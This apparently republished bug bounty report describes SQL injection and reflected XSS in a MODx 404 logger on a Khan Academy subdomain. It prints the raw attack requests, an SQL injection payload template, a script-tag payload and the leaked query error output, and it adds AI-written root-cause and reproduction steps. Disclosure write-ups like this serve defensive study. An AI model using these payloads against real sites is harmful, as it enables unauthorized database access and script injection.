Sql injection And XSS
The MODx 404 logger inserts the requested URL into a database query without sanitisation, causing SQL errors and reflecting script in the error page.
- Fixed in 4 months
- Disclosed after 14 months
Hi , ##Sql lnjection to reproduce the issue make this request , just copy it to burp repeater and don't add any other headers .
GET /Campin/jeatest' HTTP/1.1 Host: smarthistory.khanacademy.org Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
simple response :
INSERT INTO hzadofss_modx.error_404_logger (url, ip, host, referer, createdon) VALUES ('/Campin/jeatest'','107.23.39.46', 'ec2-107-23-39-46.compute-1.amazonaws.com', '', '2014-10-11 07:51:13')</span></b>
##To confirm Sql the error is shown by MODx , the sql injection happens when a user request a page that doesnt exist then MODx log the request with some others details (ip,host..) .
the following injection works
/Campin/qsdqsd',(commands here),1,1,1)#
i couldn't do more tests because there is a timeout (Error 503 Service Unavailable due to many requests , btw its really a slow server) Timeout in transmission from smarthistory.khanacademy.org
XSS
GET /Campin/jeatest'"><script>alert(4);</script> HTTP/1.1 Host: smarthistory.khanacademy.org Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
response
ing to parse the requested resource:</td></tr>
<tr><td colspan='3'><b style='color:red;'>« Execution of a query to the database failed - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"><script>alert(4);</script>','107.23.39.46', 'ec2-107-23-39-46.compute-1.amazon' at line 1 »</b></td></tr><tr><td colspan='3'><b style='color:#999;font-size: 9px;'> SQL: <span id='sqlHolder'>INSERT INTO hzadofss_modx.error_404_logger (url, ip, host, referer, createdon) VALUES ('/Campin/jeatest'"><script>alert(4);</script>','107.23.39.46', 'ec2-107-23-39-46.compute-1.amazonaws.com', '', '2014-10-11 08:01:23')</span></b>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The application inserts user-supplied input (the requested URL) directly into an SQL query without proper escaping or parameterisation.
Impact
An attacker could inject SQL commands into the logger query, though testing was limited by timeouts, and could reflect script in the error page.
What the attacker needed
None
How it was found
- Send a GET request to a non-existent path with a single quote in the URL.
- Observe the SQL error message revealing the query structure.
- Craft a payload that closes the string and injects SQL commands.
- Send the request; the injection appears to work but further testing was blocked by server timeouts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you visit a missing page, the site saves the address in a database without cleaning it, so special characters cause database errors and appear in the error page.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.